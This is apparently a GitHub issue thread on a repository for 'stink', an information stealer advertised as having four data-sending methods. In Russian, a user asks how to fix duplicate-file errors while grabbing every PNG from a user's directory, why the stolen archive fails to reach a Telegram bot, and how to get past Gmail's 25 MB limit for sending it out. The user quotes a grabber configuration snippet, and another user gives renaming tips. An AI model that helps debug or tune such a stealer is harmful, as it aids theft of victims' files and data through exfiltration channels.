FallenAstaroth / stink

🚀 Stealer on built-in libraries only, which doesn't create any temp files on data collecting, with 4 sending methods and lots of functionality.
Apache License 2.0
224 stars 55 forks source link

Как можно решить проблему с дубликатами файлов? #58

Open vooki opened 9 months ago

vooki commented 9 months ago

Привет! Как можно решить проблему с дубликатами файлов? ошибка C:\Users\836D~1\AppData\Local\Temp\ONEFIL~1\zipfile.py:1505: UserWarning: Duplicate name: 'Grabber/64.png' C:\Users\836D~1\AppData\Local\Temp\ONEFIL~1\zipfile.py:1505: UserWarning: Duplicate name: 'Grabber/96.png' C:\Users\836D~1\AppData\Local\Temp\ONEFIL~1\zipfile.py:1505: UserWarning: Duplicate name: 'Grabber/fre_email_hrd.png' C:\Users\836D~1\AppData\Local\Temp\ONEFIL~1\zipfile.py:1505: UserWarning: Duplicate name: 'Grabber/optionalDiagnosticData.png' C:\Users\836D~1\AppData\Local\Temp\ONEFIL~1\zipfile.py:1505: UserWarning: Duplicate name: 'Grabber/blurrect.png' ошибка

настройка граббера хочу получить файлы из всего каталога С диска ], grabbers=[ Grabber( paths=[rf"C:\Users{getuser()}"], file_types=[".png"], check_sub_folders=True ) ] ).run()

vooki commented 9 months ago

Можно ли попросить тебя немного добавить кода, где имена новых дубликатов файлов добавляют к имени какой-нибудь символ? Или же, чтобы каждый файл сохранялся в архиве в папку со своей директорией?

vooki commented 9 months ago

Консоль выдает ошибку и архив не отправляется в бота Telegram error code 400

vooki commented 9 months ago

Также интересует, можно ли обойти ограничение по SMTP 25mb Ошибка ниже: Your message exceeded Google's message size limits. To view our\n5.3.4 message size guidelines, go to\n5.3.4 https://support.google.com/mail/?p=MaxSizeError x4-20020a056512130400b0050ed183207asm51496lfu.210 - gsmtp" По сути, Гугл должен прикреплять файл на гугл диск, если размер превышает более 25 mb, но он этого не делает. ?

user-sspmynxdvb commented 5 months ago

On the first question, I find it easiest to add a random number to each file name, from random import random to help. Or catch this error

for file
try

code

except

and only then rename (this way only duplicates will be renamed, which will speed up the work).